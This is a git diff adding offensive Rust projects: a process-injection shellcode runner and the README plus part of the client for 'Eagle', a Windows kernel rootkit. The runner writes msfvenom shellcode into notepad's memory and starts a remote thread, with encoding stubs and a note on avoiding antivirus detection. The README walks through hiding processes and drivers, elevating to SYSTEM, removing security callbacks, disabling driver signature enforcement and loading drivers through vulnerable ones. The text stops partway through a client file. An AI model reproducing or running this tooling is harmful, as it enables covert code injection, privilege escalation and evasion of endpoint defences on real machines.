a/memN0ps/arsenal-rs/shellcode_runner_classic-rs/.gitignore b/memN0ps/arsenal-rs/shellcode_runner_classic-rs/.gitignore new file mode 100644 index 0000000..088ba6b --- /dev/null +++ b/memN0ps/arsenal-rs/shellcode_runner_classic-rs/.gitignore @@ -0,0 +1,10 @@ +# Generated by Cargo +# will have compiled files and executables +/target/ + +# Remove Cargo.lock from gitignore if creating an executable, leave it for libraries +# More information here https://doc.rust-lang.org/cargo/guide/cargo-toml-vs-cargo-lock.html +Cargo.lock + +# These are backup files generated by rustfmt +**/*.rs.bk diff --git a/memN0ps/arsenal-rs/shellcode_runner_classic-rs/Cargo.toml b/memN0ps/arsenal-rs/shellcode_runner_classic-rs/Cargo.toml new file mode 100644 index 0000000..d912d90 --- /dev/null +++ b/memN0ps/arsenal-rs/shellcode_runner_classic-rs/Cargo.toml @@ -0,0 +1,12 @@ +[package] +name = "shellcode_runner_classic-rs" +version = "0.1.0" +edition = "2018" + +# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html + +[dependencies] +sysinfo = "0.20.4" +ntapi = "0.3.6" +winapi = { version = "0.3.8", features = ["ntdef", "ntstatus", "impl-default", "basetsd"] } +libaes = "0.6.1" diff --git a/memN0ps/arsenal-rs/shellcode_runner_classic-rs/Detections.PNG b/memN0ps/arsenal-rs/shellcode_runner_classic-rs/Detections.PNG new file mode 100644 index 0000000..8af87fb Binary files /dev/null and b/memN0ps/arsenal-rs/shellcode_runner_classic-rs/Detections.PNG differ diff --git a/memN0ps/arsenal-rs/shellcode_runner_classic-rs/PoC.PNG b/memN0ps/arsenal-rs/shellcode_runner_classic-rs/PoC.PNG new file mode 100644 index 0000000..ece8612 Binary files /dev/null and b/memN0ps/arsenal-rs/shellcode_runner_classic-rs/PoC.PNG differ diff --git a/memN0ps/arsenal-rs/shellcode_runner_classic-rs/README.md b/memN0ps/arsenal-rs/shellcode_runner_classic-rs/README.md new file mode 100644 index 0000000..f4c6ebe --- /dev/null +++ b/memN0ps/arsenal-rs/shellcode_runner_classic-rs/README.md @@ -0,0 +1,37 @@ +# Classic Shellcode Runner in Rust + +Classic Shellcode in Rust using NTDLL functions directly with the NTAPI library. + + +## Encoding (XOR) + +The shellcode used is a msfvenom payload that is simply XOR encoded: + +The shellcode is then decoded in the program at runtime using the following: +```rust +let mut shellcode : Vec = Vec::with_capacity(buf.len()); +for x in &buf { + shellcode.push(*x ^ 0xBE); //change this byte for different XOR. +} +``` + +Comment out the appropriate line if you don't want to use any encoding and if you do then make sure you encode your shellcode with the appropriate byte. + +## Detections + +I had 0 detections on Virus Total but this will change after making the project public, also don't rely 100% on virus total results. + +![Detections](./Detections.PNG) + +https://www.virustotal.com/gui/file/34d2ad3a0c5d603df03ddca8cdaff47545ab427aa9c32dd60e15764b3615abab?nocache=1 + + +## References and Credits + +* https://mr.un1k0d3r.com/ (Including the people in the VIP discord Mr.Un1k0d3r, Waldo-IRC, Ditto, nixfreax) +* https://discord.com/invite/rust-lang-community (Rust Lang Community) +* https://github.com/trickster0/OffensiveRust (Motivated by this repository) +* https://github.com/byt3bl33d3r/OffensiveNim +* https://twitter.com/_RastaMouse and https://twitter.com/Jean_Maes_1994 +* https://docs.rs/winapi/0.3.9/winapi/ +* https://www.rust-lang.org/learn diff --git a/memN0ps/arsenal-rs/shellcode_runner_classic-rs/src/main.rs b/memN0ps/arsenal-rs/shellcode_runner_classic-rs/src/main.rs new file mode 100644 index 0000000..2113f64 --- /dev/null +++ b/memN0ps/arsenal-rs/shellcode_runner_classic-rs/src/main.rs @@ -0,0 +1,174 @@ +//use libaes::Cipher; +use sysinfo::{Pid, ProcessExt, SystemExt}; + +use std::{ + default::Default, + ffi::c_void, + ptr::null_mut, +}; + +use ntapi::{ + ntpsapi::{NtOpenProcess, NtCreateThreadEx}, + ntmmapi::{NtAllocateVirtualMemory, NtWriteVirtualMemory}, + ntapi_base::{CLIENT_ID} +}; + +use winapi::{ + um::{ + winnt::{MEM_COMMIT, PAGE_EXECUTE_READWRITE, MEM_RESERVE, MAXIMUM_ALLOWED}, + lmaccess::{ACCESS_ALL} + }, + shared::{ + ntdef::{OBJECT_ATTRIBUTES, HANDLE, NT_SUCCESS} + } +}; + +fn main() { + let process_id = get_process_id_by_name("notepad"); + + println!("process ID: {}", process_id); + + inject_shellcode(process_id); +} + +fn inject_shellcode(process_id: Pid) { + + unsafe { + let mut oa = OBJECT_ATTRIBUTES::default(); + + let mut process_handle = process_id as HANDLE; + + let mut ci = CLIENT_ID { + UniqueProcess: process_handle, + UniqueThread: null_mut(), + }; + + + let mut status = NtOpenProcess(&mut process_handle, ACCESS_ALL, &mut oa, &mut ci); + + if !NT_SUCCESS(status) { + panic!("Error opening process: {}", status); + } + + // + //xor encrypted shellcode goes here. + // + + //let xor_shellcode: Vec = vec![0x90, 0x90, 0x90]; + //let mut shellcode: Vec = xor_decode(&encoded_shellcode, 0xDA); + + // + //aes encrypted shellcode goes here + // + + //let aes_shellcode: Vec = vec![0x90, 0x90, 0x90]; + //let mut shellcode: Vec = aes_256_decrypt(&aes_shellcode, b"ABCDEFGHIJKLMNOPQRSTUVWXYZ-01337", b"This is 16 bytes"); + + // + //default shellcode goes here + // + + //msfvenom -p windows/x64/exec CMD="calc.exe" -f rust + let mut buf: [u8; 276] = [0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0, + 0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31, + 0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b, + 0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d, + 0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20, + 0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51, + 0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80, + 0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0, + 0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3, + 0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d, + 0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01, + 0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39, + 0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66, + 0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41, + 0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59, + 0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41, + 0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57, + 0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,0x00, + 0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31, + 0x8b,0x6f,0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x41,0xba, + 0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06, + 0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f, + 0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63, + 0x2e,0x65,0x78,0x65,0x00]; + + + let mut shellcode_length = buf.len(); + + let handle = process_handle as *mut c_void; + let mut base_address : *mut c_void = null_mut(); + status = NtAllocateVirtualMemory(handle, &mut base_address, 0, &mut shellcode_length, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); + + + if !NT_SUCCESS(status) { + panic!("Error allocating memory to the target process: {}", status); + } + + let mut bytes_written = 0; + + let buffer = buf.as_mut_ptr() as *mut c_void; + let buffer_length = buf.len(); + + status = NtWriteVirtualMemory(handle, base_address, buffer, buffer_length, &mut bytes_written); + + if !NT_SUCCESS(status) { + panic!("Error writing shellcode to memory of the target process: {}", status); + } + + let mut thread_handle : *mut c_void = null_mut(); + + status = NtCreateThreadEx(&mut thread_handle, MAXIMUM_ALLOWED, null_mut(), handle, base_address, null_mut(), 0, 0, 0, 0, null_mut()); + + if !NT_SUCCESS(status) { + panic!("Error failed to create remote thread: {}", status); + } + } +} + +fn get_process_id_by_name(target_process: &str) -> Pid { + let mut system = sysinfo::System::new(); + system.refresh_all(); + + let mut process_id = 0; + + for process in system.process_by_name(target_process) { + process_id = process.pid(); + } + + return process_id; +} + +/* +fn xor_decode(shellcode: &Vec, key: u8) -> Vec { + shellcode.iter().map(|x| x ^ key).collect() +} +*/ + +/* +fn aes_256_decrypt(shellcode: &Vec, key: &[u8; 32], iv: &[u8; 16]) -> Vec { + // Create a new 128-bit cipher + let cipher = Cipher::new_256(key); + + //Decryption + let decrypted = cipher.cbc_decrypt(iv, &shellcode); + + decrypted +} +*/ + +/* +fn get_input() -> io::Result<()> { + let mut buf = String::new(); + std::io::stdin().read_line(&mut buf)?; + Ok(()) +} + +/// Used for debugging +fn pause() { + match get_input() { + Ok(buffer) => println!("{:?}", buffer), + Err(error) => println!("error: {}", error), + }; +}*/ \ No newline at end of file diff --git a/memN0ps/eagle-rs/.gitignore b/memN0ps/eagle-rs/.gitignore new file mode 100644 index 0000000..8baec22 --- /dev/null +++ b/memN0ps/eagle-rs/.gitignore @@ -0,0 +1,3 @@ +/target +Cargo.lock +*.cer \ No newline at end of file diff --git a/memN0ps/eagle-rs/Cargo.toml b/memN0ps/eagle-rs/Cargo.toml new file mode 100644 index 0000000..6158978 --- /dev/null +++ b/memN0ps/eagle-rs/Cargo.toml @@ -0,0 +1,10 @@ +[workspace] + +members = [ + "client", + "driver", + "common", +] + +[profile.release] +opt-level = 3 \ No newline at end of file diff --git a/memN0ps/eagle-rs/LICENSE b/memN0ps/eagle-rs/LICENSE new file mode 100644 index 0000000..43a19c8 --- /dev/null +++ b/memN0ps/eagle-rs/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2022 memN0ps + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/memN0ps/eagle-rs/README.md b/memN0ps/eagle-rs/README.md new file mode 100644 index 0000000..6906b47 --- /dev/null +++ b/memN0ps/eagle-rs/README.md @@ -0,0 +1,478 @@ +# Windows Kernel Driver in Rust (Rusty Rootkit) for Red Teamers + +Blog: https://memn0ps.github.io/rusty-windows-kernel-rootkit/ + +## Features (Development in progress) + +* Protect / unprotect process (Done) +* Elevate to NT AUTHORITY\\SYSTEM and Enable all token privileges (Done) +* Hide process (Done) +* Hide driver (Done) +* Enumerate loaded kernel modules (Done) +* Enumerate / remove kernel callbacks + * PsSetCreateProcessNotifyRoutine (Done) + * PsSetCreateThreadNotifyRoutine (Todo) + * PsSetLoadImageNotifyRoutine (Todo) + * CmRegisterCallbackEx (Todo) + * ObRegisterCallbacks (Todo) +* DSE enable/disable (Done) + +## Usage + +``` +PS C:\Users\memn0ps\Desktop> .\client.exe -h +client 0.1.0 + +USAGE: + client.exe + +OPTIONS: + -h, --help Print help information + -V, --version Print version information + +SUBCOMMANDS: + callbacks + driver + dse + help Print this message or the help of the given subcommand(s) + process +``` + +``` +client.exe-process + +USAGE: + client.exe process --name <--protect|--unprotect|--elevate|--hide> + +OPTIONS: + -e, --elevate Elevate all token privileges + -h, --help Print help information + --hide Hide a process using Direct Kernel Object Manipulation (DKOM) + -n, --name Target process name + -p, --protect Protect a process + -u, --unprotect Unprotect a process +``` + +``` +PS C:\Users\memn0ps\Desktop> .\client.exe callbacks -h +client.exe-callbacks + +USAGE: + client.exe callbacks <--enumerate|--patch > + +OPTIONS: + -e, --enumerate Enumerate kernel callbacks + -h, --help Print help information + -p, --patch Patch kernel callbacks 0-63 +``` + +``` +PS C:\Users\memn0ps\Desktop> .\client.exe dse -h +client.exe-dse + +USAGE: + client.exe dse <--enable|--disable> + +OPTIONS: + -d, --disable Disable Driver Signature Enforcement (DSE) + -e, --enable Enable Driver Signature Enforcement (DSE) + -h, --help Print help information +``` + +``` +PS C:\Users\memn0ps\Desktop> .\client.exe driver -h +client.exe-driver + +USAGE: + client.exe driver <--hide|--enumerate> + +OPTIONS: + -e, --enumerate Enumerate loaded kernel modules + -h, --help Print help information + --hide Hide a driver using Direct Kernel Object Manipulation (DKOM) +``` + +## Enumerate and Patch Kernel Callbacks + +``` +PS C:\Users\memn0ps\Desktop> .\client.exe callbacks --enumerate +Total Kernel Callbacks: 11 +[0] 0xffffbd8d3d2502df ("ntoskrnl.exe") +[1] 0xffffbd8d3d2fe81f ("cng.sys") +[2] 0xffffbd8d3db2bc8f ("WdFilter.sys") +[3] 0xffffbd8d3db2bf8f ("ksecdd.sys") +[4] 0xffffbd8d3db2c0df ("tcpip.sys") +[5] 0xffffbd8d3f10705f ("iorate.sys") +[6] 0xffffbd8d3f10765f ("CI.dll") +[7] 0xffffbd8d3f10789f ("dxgkrnl.sys") +[8] 0xffffbd8d3fa37cff ("vm3dmp.sys") +[9] 0xffffbd8d3f97104f ("peauth.sys") +[10] 0xffffbd8d43afb63f ("Eagle.sys") +``` + +``` +PS C:\Users\memn0ps\Desktop> .\client.exe callbacks --patch 10 +[+] Callback patched successfully at index 10 +``` + +``` +PS C:\Users\memn0ps\Desktop> .\client.exe callbacks --enumerate +Total Kernel Callbacks: 10 +[0] 0xffffbd8d3d2502df ("ntoskrnl.exe") +[1] 0xffffbd8d3d2fe81f ("cng.sys") +[2] 0xffffbd8d3db2bc8f ("WdFilter.sys") +[3] 0xffffbd8d3db2bf8f ("ksecdd.sys") +[4] 0xffffbd8d3db2c0df ("tcpip.sys") +[5] 0xffffbd8d3f10705f ("iorate.sys") +[6] 0xffffbd8d3f10765f ("CI.dll") +[7] 0xffffbd8d3f10789f ("dxgkrnl.sys") +[8] 0xffffbd8d3fa37cff ("vm3dmp.sys") +[9] 0xffffbd8d3f97104f ("peauth.sys") +``` + +## Protect / Unprotect Process + +``` +PS C:\Users\memn0ps\Desktop> .\client.exe process --name notepad.exe --protect +[+] Process protected successfully 2104 +``` + +![Protect](./notepad_protect.png) + +``` +PS C:\Users\memn0ps\Desktop> .\client.exe process --name notepad.exe --unprotect +[+] Process unprotected successfully 2104 +``` + +![Protect](./notepad_unprotect.png) + +## Elevate to NT AUTHORITY\\System and Enable All Token Privileges + +``` +PS C:\Users\memn0ps\Desktop> whoami /all + +USER INFORMATION + +================== ============================================== +windows-10-vm\user S-1-5-21-3694103140-4081734440-3706941413-1001 + + +GROUP INFORMATION +----------------- + +Group Name Type SID Attributes +============================================================= ================ ============ ================================================== +Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group +NT AUTHORITY\Local account and member of Administrators group Well-known group S-1-5-114 Group used for deny only +BUILTIN\Administrators Alias S-1-5-32-544 Group used for deny only +BUILTIN\Performance Log Users Alias S-1-5-32-559 Mandatory group, Enabled by default, Enabled group +BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group +NT AUTHORITY\INTERACTIVE Well-known group S-1-5-4 Mandatory group, Enabled by default, Enabled group +CONSOLE LOGON Well-known group S-1-2-1 Mandatory group, Enabled by default, Enabled group +NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group +NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group +NT AUTHORITY\Local account Well-known group S-1-5-113 Mandatory group, Enabled by default, Enabled group +LOCAL Well-known group S-1-2-0 Mandatory group, Enabled by default, Enabled group +NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group +Mandatory Label\Medium Mandatory Level Label S-1-16-8192 + + +PRIVILEGES INFORMATION +---------------------- + +Privilege Name Description State +============================= ==================================== ======== +SeShutdownPrivilege Shut down the system Disabled +SeChangeNotifyPrivilege Bypass traverse checking Enabled +SeUndockPrivilege Remove computer from docking station Disabled +SeIncreaseWorkingSetPrivilege Increase a process working set Disabled +SeTimeZonePrivilege Change the time zone Disabled +``` + +``` +PS C:\Users\memn0ps\Desktop> .\client.exe process --name powershell.exe --elevate +[+] Tokens privileges elevated successfully 6376 +``` + +``` +PS C:\Users\memn0ps\Desktop> whoami /all + +USER INFORMATION +---------------- + +User Name SID +=================== ======== +nt authority\system S-1-5-18 + + +GROUP INFORMATION +----------------- + +Group Name Type SID Attributes +====================================== ================ ============ ================================================== +BUILTIN\Administrators Alias S-1-5-32-544 Enabled by default, Enabled group, Group owner +Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group +NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group +Mandatory Label\System Mandatory Level Label S-1-16-16384 + + +PRIVILEGES INFORMATION +---------------------- + +Privilege Name Description State +========================================= ================================================================== ======= +SeCreateTokenPrivilege Create a token object Enabled +SeAssignPrimaryTokenPrivilege Replace a process level token Enabled +SeLockMemoryPrivilege Lock pages in memory Enabled +SeIncreaseQuotaPrivilege Adjust memory quotas for a process Enabled +SeTcbPrivilege Act as part of the operating system Enabled +SeSecurityPrivilege Manage auditing and security log Enabled +SeTakeOwnershipPrivilege Take ownership of files or other objects Enabled +SeLoadDriverPrivilege Load and unload device drivers Enabled +SeSystemProfilePrivilege Profile system performance Enabled +SeSystemtimePrivilege Change the system time Enabled +SeProfileSingleProcessPrivilege Profile single process Enabled +SeIncreaseBasePriorityPrivilege Increase scheduling priority Enabled +SeCreatePagefilePrivilege Create a pagefile Enabled +SeCreatePermanentPrivilege Create permanent shared objects Enabled +SeBackupPrivilege Back up files and directories Enabled +SeRestorePrivilege Restore files and directories Enabled +SeShutdownPrivilege Shut down the system Enabled +SeDebugPrivilege Debug programs Enabled +SeAuditPrivilege Generate security audits Enabled +SeSystemEnvironmentPrivilege Modify firmware environment values Enabled +SeChangeNotifyPrivilege Bypass traverse checking Enabled +SeUndockPrivilege Remove computer from docking station Enabled +SeManageVolumePrivilege Perform volume maintenance tasks Enabled +SeImpersonatePrivilege Impersonate a client after authentication Enabled +SeCreateGlobalPrivilege Create global objects Enabled +SeTrustedCredManAccessPrivilege Access Credential Manager as a trusted caller Enabled +SeRelabelPrivilege Modify an object label Enabled +SeIncreaseWorkingSetPrivilege Increase a process working set Enabled +SeTimeZonePrivilege Change the time zone Enabled +SeCreateSymbolicLinkPrivilege Create symbolic links Enabled +SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session Enabled + +PS C:\Users\memn0ps\Desktop> +``` + + + +## Enable / Disable Driver Signature Enforcement (DSE) + +``` +PS C:\Users\memn0ps\Desktop> .\client.exe dse --enable +Bytes returned: 16 +[+] Driver Signature Enforcement (DSE) enabled: 0x6 +``` +``` +0: kd> db 0xfffff8005a6683b8 L1 +fffff800`5a6683b8 06 +``` + +``` +PS C:\Users\memn0ps\Desktop> .\client.exe dse --disable +Bytes returned: 16 +[+] Driver Signature Enforcement (DSE) disabled: 0xe +``` + +``` +0: kd> db 0xfffff8005a6683b8 L1 +fffff800`5a6683b8 0e +``` + +## Hide Process + +![CMD](./cmd_hide1.png) + + +``` +PS C:\Users\memn0ps\Desktop> .\client.exe process --name powershell.exe --hide +[+] Process is hidden successfully: 6376 +``` + +![CMD](./cmd_hide2.png) + + +## Hide Driver + +Hidden from ZwQuerySystemInformation and PsLoadedModuleList + +``` +PS C:\Users\memn0ps\Desktop> .\client.exe driver --enumerate +Total Number of Modules: 185 +[0] 0xfffff80058c00000 "ntoskrnl.exe" +[1] 0xfffff80054d20000 "hal.dll" +<..OMITTED..> +[180] 0xfffff80054600000 "KERNEL32.dll" +[181] 0xfffff80054200000 "ntdll.dll" +[182] 0xfffff800553f0000 "KERNELBASE.dll" +[183] 0xfffff800556f0000 "MpKslDrv.sys" +[184] 0xfffff80055720000 "Eagle.sys" +[+] Loaded modules enumerated successfully +``` + +``` +PS C:\Users\memn0ps\Desktop> .\client.exe driver --hide +[+] Driver hidden successfully +``` + +``` +PS C:\Users\memn0ps\Desktop> .\client.exe driver --enumerate +Total Number of Modules: 184 +[0] 0xfffff80058c00000 "ntoskrnl.exe" +[1] 0xfffff80054d20000 "hal.dll" +<..OMITTED..> +[180] 0xfffff80054600000 "KERNEL32.dll" +[181] 0xfffff80054200000 "ntdll.dll" +[182] 0xfffff800553f0000 "KERNELBASE.dll" +[183] 0xfffff800556f0000 "MpKslDrv.sys" +[+] Loaded modules enumerated successfully +``` + + +## [Install Rust](https://www.rust-lang.org/tools/install) + +To start using Rust, [download the installer](https://www.rust-lang.org/tools/install), then run the program and follow the onscreen instructions. You may need to install the [Visual Studio C++ Build tools](https://visualstudio.microsoft.com/visual-cpp-build-tools/) when prompted to do so. + + +## [Install](https://rust-lang.github.io/rustup/concepts/channels.html) + +Install and change to Rust nightly + +``` +rustup toolchain install nightly +rustup default nightly +``` + +## [Install cargo-make](https://github.com/sagiegurari/cargo-make) + +Install cargo-make + +``` +cargo install cargo-make +``` + +## [Install WDK/SDK](https://docs.microsoft.com/en-us/windows-hardware/drivers/download-the-wdk) + +* Step 1: Install Visual Studio 2019 +* Step 2: Install Windows 11 SDK (22000.1) +* Step 3: Install Windows 11 WDK + +## Build Driver + +Change directory to `.\driver\` and build driver + +``` +cargo make sign +``` + +## Build Client + +Change directory to `.\client\` and build client + +``` +cargo build +``` + +## Enable `Test Mode` or `Test Signing` Mode + +``` +bcdedit /set testsigning on +``` + +### [Optional] Debug via Windbg + +``` +bcdedit /debug on +bcdedit /dbgsettings net hostip: port: +``` + +## Create / Start Service + +You can use [Service Control Manager](https://docs.microsoft.com/en-us/windows/win32/services/service-control-manager) or [OSR Driver Loader](https://www.osronline.com/article.cfm%5Earticle=157.htm) to load your driver. + +``` +PS C:\Users\memn0ps> sc.exe create Eagle type= kernel binPath= C:\Windows\System32\Eagle.sys +[SC] CreateService SUCCESS +PS C:\Users\memn0ps> sc.exe query Eagle + +SERVICE_NAME: Eagle + TYPE : 1 KERNEL_DRIVER + STATE : 1 STOPPED + WIN32_EXIT_CODE : 1077 (0x435) + SERVICE_EXIT_CODE : 0 (0x0) + CHECKPOINT : 0x0 + WAIT_HINT : 0x0 +PS C:\Users\memn0ps> sc.exe start Eagle + +SERVICE_NAME: Eagle + TYPE : 1 KERNEL_DRIVER + STATE : 4 RUNNING + (STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN) + WIN32_EXIT_CODE : 0 (0x0) + SERVICE_EXIT_CODE : 0 (0x0) + CHECKPOINT : 0x0 + WAIT_HINT : 0x0 + PID : 0 + FLAGS : +PS C:\Users\memn0ps> sc.exe stop Eagle + +SERVICE_NAME: Eagle + TYPE : 1 KERNEL_DRIVER + STATE : 1 STOPPED + WIN32_EXIT_CODE : 0 (0x0) + SERVICE_EXIT_CODE : 0 (0x0) + CHECKPOINT : 0x0 + WAIT_HINT : 0x0 +``` + +Currently, this driver does not support manual mapping. However, an alternative way to load your driver is to manually map it by exploiting an existing CVE in a signed driver that is already loaded such as Intel or Capcom, although vulnerable drivers can be flagged easily by EDRs or ACs. + +* https://github.com/TheCruZ/kdmapper (`iqvw64e.sys` Intel driver) +* https://github.com/not-wlan/drvmap (`capcom.sys` Capcom driver) +* https://github.com/zorftw/kdmapper-rs + +Otherwise you can always get an [extended validation (EV) code signing certificate](https://docs.microsoft.com/en-us/windows-hardware/drivers/dashboard/get-a-code-signing-certificate) by Microsoft which goes through a "vetting" process or use a 0-day which is really up to you lol. + +## Note + +A better way to code Windows Kernel Drivers in Rust is to create bindings as shown in the references below. However, using someone else's bindings hides the functionality and this is why I made it the classic way unless, of course, you create your own bindings. I plan on refactoring the code in the future but for now, it will be a bit messy and incomplete. + +I made this project for fun and because I really like Rust and Windows Internals. This is obviously not perfect or finished yet. if you would like to learn more about Windows Kernel Programming then feel free to check out the references below. The prefered safe and robust way of coding Windows Kernel Drivers in Rust is shown here: + +* https://codentium.com/guides/windows-dev/ +* https://github.com/StephanvanSchaik/windows-kernel-rs/ + +## References and Credits + +* https://not-matthias.github.io/kernel-driver-with-rust/ (Big thanks to @not_matthias) +* https://github.com/not-matthias/kernel-driver-with-rust/ +* https://courses.zeropointsecurity.co.uk/courses/offensive-driver-development (Big thanks to @_RastaMouse) +* https://leanpub.com/windowskernelprogramming Windows Kernel Programming Book (Big thanks to Pavel Yosifovich @zodiacon) +* https://www.amazon.com/Rootkits-Subverting-Windows-Greg-Hoglund/dp/0321294319 (Big thanks to Greg Hoglund and James Butler for Rootkits: Subverting the Windows Kernel Book) +* https://github.com/hacksysteam/HackSysExtremeVulnerableDriver/ (Big thanks to HackSysTeam) +* https://codentium.com/guides/windows-dev/ +* https://github.com/StephanvanSchaik/windows-kernel-rs/ +* https://github.com/rmccrystal/kernel-rs +* https://github.com/pravic/winapi-kmd-rs +* https://guidedhacking.com/ +* https://www.unknowncheats.me/ +* https://gamehacking.academy/ +* https://secret.club/ +* https://back.engineering/ +* https://www.vergiliusproject.com/kernels/x64 +* https://www.crowdstrike.com/blog/evolution-protected-processes-part-1-pass-hash-mitigations-windows-81/ +* https://discord.com/invite/rust-lang-community (Big thanks to: WithinRafael, Nick12, Zuix, DuckThatSits, matt1992, kpreid, Bruh and many others) +* https://twitter.com/the_secret_club/status/1386215138148196353 Discord (hugsy, themagicalgamer) +* https://www.rust-lang.org/ +* https://doc.rust-lang.org/book/ +* https://posts.specterops.io/mimidrv-in-depth-4d273d19e148 +* https://br-sn.github.io/Removing-Kernel-Callbacks-Using-Signed-Drivers/ +* https://www.mdsec.co.uk/2021/06/bypassing-image-load-kernel-callbacks/ +* https://m0uk4.gitbook.io/notebooks/mouka/windowsinternal/find-kernel-module-address-todo +* https://github.com/XaFF-XaFF/Cronos-Rootkit/ +* https://github.com/JKornev/hidden +* https://github.com/landhb/HideProcess +* https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/manipulating-activeprocesslinks-to-unlink-processes-in-userland +* https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/how-kernel-exploits-abuse-tokens-for-privilege-escalation diff --git a/memN0ps/eagle-rs/client/Cargo.toml b/memN0ps/eagle-rs/client/Cargo.toml new file mode 100644 index 0000000..6790008 --- /dev/null +++ b/memN0ps/eagle-rs/client/Cargo.toml @@ -0,0 +1,12 @@ +[package] +name = "client" +version = "0.1.0" +edition = "2021" + +# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html + +[dependencies] +winapi = { version = "0.3.7", features = ["processthreadsapi", "memoryapi", "winbase", "impl-default", "errhandlingapi", "fileapi", "winioctl"] } +sysinfo = "0.20.4" +clap = { version = "3.1.6", features = ["derive"] } +common = { path = "../common" } \ No newline at end of file diff --git a/memN0ps/eagle-rs/client/src/kernel_interface.rs b/memN0ps/eagle-rs/client/src/kernel_interface.rs new file mode 100644 index 0000000..419e65a --- /dev/null +++ b/memN0ps/eagle-rs/client/src/kernel_interface.rs @@ -0,0 +1,262 @@ +use std::{mem::size_of, ptr::null_mut}; +use winapi::{um::{ioapiset::DeviceIoControl}, ctypes::c_void}; +use common::{TargetProcess, IOCTL_PROCESS_PROTECT_REQUEST, IOCTL_PROCESS_UNPROTECT_REQUEST, IOCTL_PROCESS_TOKEN_PRIVILEGES_REQUEST, IOCTL_CALLBACKS_ENUM_REQUEST, CallBackInformation, TargetCallback, IOCTL_CALLBACKS_ZERO_REQUEST, IOCTL_DSE_ENABLE_DISABLE_REQUEST, DriverSignatureEnforcement, IOCTL_PROCESS_HIDE_REQUEST, IOCTL_DRIVER_HIDE_REQUEST, IOCTL_DRIVER_ENUM_REQUEST, ModuleInformation}; + +/// Protect a process as PsProtectedSignerWinTcb +pub fn protect_process(process_id: u32, driver_handle: *mut c_void) { + let mut bytes: u32 = 0; + + let mut target_process = TargetProcess { + process_id: process_id, + }; + + let device_io_control_result = unsafe { + DeviceIoControl(driver_handle, + IOCTL_PROCESS_PROTECT_REQUEST, + &mut target_process as *mut _ as *mut c_void, + size_of:: as u32, + null_mut(), + 0, + &mut bytes, + null_mut()) + }; + + if device_io_control_result == 0 { + panic!("[-] Failed to call DeviceIoControl"); + } + + println!("[+] Process protected successfully {:?}", target_process.process_id); +} + +/// Remove process protection +pub fn unprotect_process(process_id: u32, driver_handle: *mut c_void) { + let mut bytes: u32 = 0; + + let mut target_process = TargetProcess { + process_id: process_id, + }; + + let device_io_control_result = unsafe { + 